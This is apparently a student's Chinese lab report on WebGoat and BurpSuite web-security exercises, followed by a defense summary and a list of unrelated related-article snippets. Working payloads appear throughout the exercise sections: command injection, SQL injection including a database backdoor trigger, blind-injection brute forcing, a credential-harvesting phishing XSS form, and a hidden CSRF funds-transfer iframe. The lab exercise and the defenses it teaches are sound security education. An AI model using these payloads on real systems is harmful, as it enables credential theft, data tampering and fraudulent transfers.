当前位置: 首页 > news >正文

Web安全基础实践

实践目标

  • (1)理解常用网络攻击技术的基本原理。
  • (2)Webgoat实践下相关实验。

WebGoat

  • WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。
  • 因为WebGoat是基于java开发的软件,所以它具有平台无关性,在各种操作平台上都可以运行,所以本次实验所处的系统为kali机
  • 在命令行中输入以下指令即可运行相关jar
    • java -jar webgoat-container-7.0.1-war-exec.jar
  • WebGoat默认使用8080端口,所以在看到相关提示后即可开始:INFO: Starting ProtocolHandler ["http-bio-8080"]

BurpSuite

  • Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。
  • 配置本机BurpSuite
    • Proxy->Option中选择add添加项,设置代理IP及其端口(我设置的是8088和127.0.0.1),添加完毕后选择run启动
    • 在浏览器中(以火狐举例),在Preferences->Advanced中选择Settings,勾选Manual proxy configuration,输入刚刚设置的IP与端口即可
    • 然后在Proxy->intercept点击`“Intercept is off”,即可启用代理

Injection Flaws

Command Injection

  • 这个界面可以执行系统命令并返回给用户,所以应该在请求项里面添加shell命令,执行ifconfig
  • 具体来说,就是用前文提到的BurpSuite工具拦截请求,并将其中的参数改为(我的是这样):
    • AccessControlMatrix.help"& ifconfig"
    • 表示执行这2个指令,在网页的最后能看到ifconfig的结果,成功

Numeric SQL Injection

  • 要求:尝试用SQL注入,使得能查到所有的天气
  • 思路也很简单,直接构造永真式,即可查找到所有记录
  • 既可以按照上一题的思路用工具捕包修改,也可以直接按F12修改网页源文件,将需要查找的value改为:101 or 1=1
  • 点击go,看到所有城市的天气,成功

Log Spoofing

  • 题目的意思是要你写一个SQL字符串,因为网页会将你输入错误的用户名返回给你,所以我们的目标是使得网页返回给你的结果显示的你登录成功一样
  • 所以在用户名那构造语句:gq%0d%0aLogin Succeeded for username: admin

LAB:SQL Injection

Stage 1:String SQL Injection
  • 根据描述,是要求你在不知道密码的前提下,还能登录成功
  • 那也就只能用SQL注入了,利用SQL相关语法,利用'进行前后封闭,构成一个永真式,这一题较为基础,构造方法也很多,我用的是'or 1='1
  • 需要注意的是:如果直接写永真式,会超过字符长度限制,而一般永真式超过了限制的8字符,所以得F12查看源代码,对密码输入长度进行扩大,再进行注入;或者可以构造一个密码,使得尽量提前封闭,如我上述的密码,刚好8个字符。
  • 为了能取得权限,最好选择admin登录,最后左边栏会有提示成功
Stage 2:Parameterized Query #1
  • 这个没有测试成功,最后才发现题目中有这样一句话,可能只有开发版的才可以成功吧
  • THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage 3:Numeric SQL Injection
  • 题目要求:登录Larry账户,但是能查看Boss的信息
  • 所以首先根据Stage 1中的万能密钥取得Larry权限,这样我们就可以点击ViewProfile来查看相关信息了,显然此时只能查到自己的信息
  • 但细究其原理不难发现与之前如出一辙,此时要查看老板信息,本质上还是查询数据库中字段为老板的那条记录并输出,所以仍然可以在请求时注入,不同的是此时没有输入框提供注入字符串,所以我们要借助前文所提到的BurpSuite工具,拦截此时的请求包,构造SQL请求参数,需要将employee_id的值改为101 or 1=1
  • 但测试后发现仍旧显示Larry的信息,猜想是不是因为界面太小只能显示一个?我这样的注入可以将所有的信息全查询到,那怎样让它输出的第一个就是我们想要的老板信息呢?
  • 仔细观察Larry的信息表可以发现有Salary这一字段,说明数据表中也存在,那么对于一个老板来说工资最高,我就可以以工资为条件,对查询结果进行个排序,构造SQL语句如下:
    • 101 or 1=1 order by salary desc
    • 成功,老板工资450k,毕竟老板!
Stage 4:Parameterized Query #2
  • Stage 2,只能在开发版上成功

String SQL Injection

  • 要求:要你输入正确的Last name登录进去
  • 显然我啥都不知道,只能用万能密钥试一试了,根据前文输入:
    • 'or 1='1
    • 成功,因为为永真,所以任何用户的信息都看见了

Database Backdoors

  • 根据题目要求是要你使用多条语句的SQL注入,更新数据表
  • 根据前一篇博客的多条语句注入练习,在此,设置如下SQL语句:
    • 101; update employee set salary=10000
    • 发现数据表所有人员工资都等于10000已经更新,成功
  • 以上是第一步要求,第二步要求:更加高级的是插入后门,下边这个后门好象是创建新用户的时候会自动修改邮箱为你的邮箱
    • 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid

Blind Numeric SQL Injection

  • 数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。
  • 比如这一关,我们知道一个cc_number=1111222233334444,但是想知道其pin在pins table里的值,可以使用盲注进行爆破,输入
    • 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
    • 打开BurpSuite工具监听,捕获到第一条请求报文,因为需要反复尝试我们可以通过该工具进行暴力破解
  • 右击报文选择send to intruder,然后在Intruder下选择相关设置:
    • Target中,设置本机IP地址HOST,和端口号,也就是WebGoat的地址和端口号
    • Positions中,选择Sniper模式,然后用光标选中需要暴力穷举的变量,在此处是account_number后的值,然后点击右侧的add添加(在此之前点击clear清空所有的)
    • Payloads中,选择type类型为number,然后设置变化范围,并设置步长为1,这样可以精确地找到数据包变化的number,从而便于我们确认位置
    • Options中,选择Start attack开始攻击
  • 找到数据包大小变化的位置2364,用2364登录,成功!

Cross-Site Scripting (XSS)

Phishing with XSS

  • 反射型XSS是最常用,也是使用得最广的一种攻击方式。它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
  • 将下边的代码输入到文本框,XSS会造成一个钓鱼的登录界面,用来骗取登录账户和密码
</form><script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} </script>
<form name="phish">
<br><br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

Stored XSS Attacks

  • 这是一种最典型的储存型XSS的例子,因为没有对用户的输入进行编码,所以用户A可以任意输入,然后用户B点击用户A的留言,触发了XSS,导致中招
  • 具体操作是这样的:
    • title可以任意输入,根据第一次尝试可以发现,输入的这个可以作为一个超链接更新保存在本界面,点击后即可查看输入内容
    • Message输入消息,可以嵌入一段js代码,用户点击后即可触发,例如输入:<script>alert("20145221 attack succeed!");</script>

Reflected XSS Attacks

  • 根据题目可以知道这是一个反射型的XSS攻击,类同于第一个,在交互输入的位置有XSS漏洞,直接构造一段脚本即可发起攻击,例如输入以下代码即可成功:
    • <script>alert("20145221 attack succeed!");</script>

Cross Site Request Forgery (CSRF)

  • 这里是一个储存型XSS和CSRF结合的示例,CSRF就是冒名登录,用代码伪造请求
  • 这里是把CSRF恶意代码利用储存型XSS放到了网页上,通过留言Message里输入,构造恶意代码如下
    • <iframe src="attack?Screen=504&amp;menu=900&amp;transferFunds=5000"></iframe>
    • 当用户点击这个留言,就会触发,显示已转走5000元
    • 注意:上述screen和menu参数的值和网站右边显示的要保持一致
    • 如果想让用户在不查觉的情况下,可以将<iframe>中的长和宽参数设为1像素,这样就看不见了

总结

SQL注入攻击原理,如何防御

原理
  • 就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
  • 具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
防御
  • 检查变量数据类型和格式
    • 如果你的SQL语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该检查并严格确保变量一定是邮箱的格式,其他的类型比如日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。
  • 过滤特殊符号
    • 对于无法确定固定格式的变量,一定要进行特殊符号过滤或转义处理。以PHP为例,通常是采用addslashes函数,它会在指定的预定义字符前添加反斜杠转义,这些预定义的字符是:单引号 (') 双引号 (") 反斜杠 () NULL。
  • 绑定变量,使用预编译语句
    • MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编译语句的方法
    • 这样做的好处就是,如果我输入密码:'or 1='1,那他也只会被当作密码来处理,不会和sql语句其他结构关联

XSS攻击的原理,如何防御

原理
  • 恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。
防御
  • 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤
  • 在输入方面对所有用户提交内容进行可靠的输入验证,提交内容包括URL、查询关键字、http头、post数据等
  • 在输出方面,在用户输内容中使用<XMP>标签。标签内的内容不会解释,直接显示。
  • 严格执行字符输入字数控制,因为XSS代码往往很多,所以要对字符数进行控制

CSRF攻击原理,如何防御

原理
  • 跨站请求伪造,攻击者盗用了你的身份,以你的名义发送恶意请求。
  • CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账
  • 造成的问题包括:个人隐私泄露以及财产安全。
防御
  • 验证码
    • 可以在某些敏感操作过程中,加入验证码,以确认用户身份
  • Token
    • CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。既然知道根本原因,我们就对症下药,利用Token。当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的Token是否一致。

实验感想

  • 在安全领域,一般用帽子的颜色来比喻黑客的善与恶,“白帽子”和”黑帽子”是就是两个完全对立的群体。对于黑帽子而言,他们只要找到系统的一个切入点就可以达到入侵破坏的目的,而白帽子必须将自己系统所有可能被突破的地方都设防,以保证系统的安全运行。
  • 看起来好像是不公平的,但是安全世界里的规则就是这样,可能我们的网站1000处都布防的很好,考虑的很周到,但是只要有一个地方疏忽了,攻击者就会利用这个点进行突破,让我们另外的1000处努力白费。
  • 而现在我们很多网络模型都是B/S结构,这样web安全问题就越来越突出了,本次实践只是冰山一角,真正现实中可能会遇到更多更复杂的问题。

相关文章:

Web安全基础实践

实践目标 &#xff08;1&#xff09;理解常用网络攻击技术的基本原理。&#xff08;2&#xff09;Webgoat实践下相关实验。 WebGoat WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序&#xff0c;这些漏洞并非程序中的bug&#xff0c;而是故意设计用来讲授We…...

Zookeeper集群数据是如何同步的?

大家好&#xff0c;我是锋哥。今天分享关于【Zookeeper集群数据是如何同步的?】面试题。希望对大家有帮助&#xff1b; Zookeeper集群数据是如何同步的? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Zookeeper集群中的数据同步是通过一种称为ZAB&#xff08;Zo…...

SpringCloud框架学习(第六部分:Sentinel实现熔断与限流)

目录 十四、SpringCloud Alibaba Sentinel实现熔断与限流 1.简介 2.作用 3.下载安装 4.微服务 8401 整合 Sentinel 入门案例 5.流控规则 &#xff08;1&#xff09;基本介绍 &#xff08;2&#xff09;流控模式 Ⅰ. 直接 Ⅱ. 关联 Ⅲ. 链路 &#xff08;3&#xff0…...

动态规划-----路径问题

动态规划-----路径问题 下降最小路径和1&#xff1a;状态表示2&#xff1a;状态转移方程3 初始化4 填表顺序5 返回值6 代码实现 总结&#xff1a; 下降最小路径和 1&#xff1a;状态表示 假设&#xff1a;用dp[i][j]表示&#xff1a;到达[i,j]的最小路径 2&#xff1a;状态转…...

Rust循环引用与多线程并发

循环引用与自引用 循环引用的概念 循环引用指的是两个或多个对象之间相互持有对方的引用。在 Rust 中&#xff0c;由于所有权和生命周期的严格约束&#xff0c;直接创建循环引用通常会导致编译失败。例如&#xff1a; // 错误的循环引用示例 struct Node {next: Option<B…...

东方隐侠网安瞭望台第8期

谷歌应用商店贷款应用中的 SpyLoan 恶意软件影响 800 万安卓用户 迈克菲实验室的新研究发现&#xff0c;谷歌应用商店中有十多个恶意安卓应用被下载量总计超过 800 万次&#xff0c;这些应用包含名为 SpyLoan 的恶意软件。安全研究员费尔南多・鲁伊斯上周发布的分析报告称&…...

底部导航栏新增功能按键

场景需求&#xff1a; 在底部导航栏添加power案件&#xff0c;单击息屏&#xff0c;长按 关机 如下实现图 借此需求&#xff0c;需要掌握技能&#xff1a; 底部导航栏如何实现新增、修改、删除底部导航栏流程对底部导航栏部分样式如何修改。 比如放不下、顺序排列、坑点如…...

C++ 之弦上舞:string 类与多样字符串操作的优雅旋律

string 类的重要性及与 C 语言字符串对比 在 C 语言中&#xff0c;字符串是以 \0 结尾的字符集合&#xff0c;操作字符串需借助 C 标准库的 str 系列函数&#xff0c;但这些函数与字符串分离&#xff0c;不符合 OOP 思想&#xff0c;且底层空间管理易出错。而在 C 中&#xff0…...

centos8:Could not resolve host: mirrorlist.centos.org

【1】错误消息&#xff1a; [rootcentos211 redis-7.0.15]# yum update CentOS Stream 8 - AppStream …...

Linux 定时任务 命令解释 定时任务格式详解

目录 时间命令 修改时间和日期 定时任务格式 定时任务执行 查看定时任务进程 重启定时任务 时间命令 #查看时间 [rootlocalhost ~]# date 2021年 07月 23日 星期五 14:38:19 CST --------------------------------------- [rootlocalhost ~]# date %F 2021-07-23 -----…...

aws(学习笔记第十五课) 如何从灾难中恢复(recover)

aws(学习笔记第十五课) 如何从灾难中恢复 学习内容&#xff1a; 使用CloudWatch对服务器进行监视与恢复区域(region)&#xff0c;可用区(available zone)和子网(subnet)使用自动扩展(AutoScalingGroup) 1. 使用CloudWatch对服务器进行监视与恢复 整体架构 这里模拟Jenkins Se…...

github webhooks 实现网站自动更新

本文目录 Github Webhooks 介绍Webhooks 工作原理配置与验证应用云服务器通过 Webhook 自动部署网站实现复制私钥编写 webhook 接口Github 仓库配置 webhook以服务的形式运行 app.py Github Webhooks 介绍 Webhooks是GitHub提供的一种通知方式&#xff0c;当GitHub上发生特定事…...

【C语言】递归的内存占用过程

递归 递归是函数调用自身的一种编程技术。在C语言中&#xff0c;递归的实现会占用内存栈&#xff08;Call Stack&#xff09;&#xff0c;每次递归调用都会在栈上分配一个新的 “栈帧&#xff08;Stack Frame&#xff09;”&#xff0c;用于存储本次调用的函数局部变量、返回地…...

365天深度学习训练营-第P6周:VGG-16算法-Pytorch实现人脸识别

&#x1f368; 本文为&#x1f517;365天深度学习训练营中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 文为「365天深度学习训练营」内部文章 参考本文所写记录性文章&#xff0c;请在文章开头带上「&#x1f449;声明」 &#x1f37a;要求&#xff1a; 保存训练过…...

企业AI助理在数据分析与决策中扮演的角色

在当今这个数据驱动的时代&#xff0c;企业每天都需要处理和分析大量的数据&#xff0c;以支持其业务决策。然而&#xff0c;面对如此庞大的数据量&#xff0c;传统的数据分析方法已经显得力不从心。幸运的是&#xff0c;随着人工智能&#xff08;AI&#xff09;技术的不断发展…...

洛谷 B2029:大象喝水 ← 圆柱体体积

【题目来源】https://www.luogu.com.cn/problem/B2029【题目描述】 一只大象口渴了&#xff0c;要喝 20 升水才能解渴&#xff0c;但现在只有一个深 h 厘米&#xff0c;底面半径为 r 厘米的小圆桶 &#xff08;h 和 r 都是整数&#xff09;。问大象至少要喝多少桶水才会解渴。 …...

go每日一题:mock打桩、defer、recovery、panic的调用顺序

题目一&#xff1a;单元测试中使用—打桩 打桩概念&#xff1a;使用A替换 原函数B&#xff0c;那么A就是打桩函数打桩原理&#xff1a;运行时&#xff0c;通过一个包&#xff0c;将内存中函数的地址替换为桩函数的地址打桩操作&#xff1a;利用Patch&#xff08;&#xff09;函…...

STM32F103 HSE时钟倍频以及设置频率函数(新手向,本人也是新手)

HSE_SetSysCLK是野火教程里的,不懂的去这 16-RCC&#xff08;第3节&#xff09;使用HSE配置系统时钟并使用MCO输出监控系统时钟_哔哩哔哩_bilibili HSE_AutoSetHSE的算法部分是自己写的,用了一个转接数组。C语言不支持bool所以自己定义了一个boolK代替bool。 AutoHSE.h: /**…...

renderExtraFooter 添加本周,本月,本年

在 Ant Design Vue 中&#xff0c;a-date-picker 组件提供了一个 renderExtraFooter 属性&#xff0c;可以用来渲染额外的页脚内容。你可以利用这个属性来添加“本周”、“本月”和“本年”的按钮。下面是如何在 Vue 2 项目中实现这一功能的具体步骤&#xff1a; 1.确保安装了…...

SprinBoot整合KafKa的使用(详解)

前言 1. 高吞吐量&#xff08;High Throughput&#xff09; Kafka 设计的一个核心特性是高吞吐量。它能够每秒处理百万级别的消息&#xff0c;适合需要高频次、低延迟消息传递的场景。即使在大规模分布式环境下&#xff0c;它也能保持很高的吞吐量和性能&#xff0c;支持低延…...

在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能

下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能&#xff0c;包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

渲染学进阶内容——模型

最近在写模组的时候发现渲染器里面离不开模型的定义,在渲染的第二篇文章中简单的讲解了一下关于模型部分的内容,其实不管是方块还是方块实体,都离不开模型的内容 🧱 一、CubeListBuilder 功能解析 CubeListBuilder 是 Minecraft Java 版模型系统的核心构建器,用于动态创…...

linux arm系统烧录

1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 &#xff08;忘了有没有这步了 估计有&#xff09; 刷机程序 和 镜像 就不提供了。要刷的时…...

1.3 VSCode安装与环境配置

进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件&#xff0c;然后打开终端&#xff0c;进入下载文件夹&#xff0c;键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...

【论文笔记】若干矿井粉尘检测算法概述

总的来说&#xff0c;传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度&#xff0c;通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...

C++ 基础特性深度解析

目录 引言 一、命名空间&#xff08;namespace&#xff09; C 中的命名空间​ 与 C 语言的对比​ 二、缺省参数​ C 中的缺省参数​ 与 C 语言的对比​ 三、引用&#xff08;reference&#xff09;​ C 中的引用​ 与 C 语言的对比​ 四、inline&#xff08;内联函数…...

项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)

Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败&#xff0c;具体原因是客户端发送了密码认证请求&#xff0c;但Redis服务器未设置密码 1.为Redis设置密码&#xff08;匹配客户端配置&#xff09; 步骤&#xff1a; 1&#xff09;.修…...

Mysql中select查询语句的执行过程

目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析&#xff08;Parser&#xff09; 2.4、执行sql 1. 预处理&#xff08;Preprocessor&#xff09; 2. 查询优化器&#xff08;Optimizer&#xff09; 3. 执行器…...

return this;返回的是谁

一个审批系统的示例来演示责任链模式的实现。假设公司需要处理不同金额的采购申请&#xff0c;不同级别的经理有不同的审批权限&#xff1a; // 抽象处理者&#xff1a;审批者 abstract class Approver {protected Approver successor; // 下一个处理者// 设置下一个处理者pub…...

Caliper 配置文件解析:fisco-bcos.json

config.yaml 文件 config.yaml 是 Caliper 的主配置文件,通常包含以下内容: test:name: fisco-bcos-test # 测试名称description: Performance test of FISCO-BCOS # 测试描述workers:type: local # 工作进程类型number: 5 # 工作进程数量monitor:type: - docker- pro…...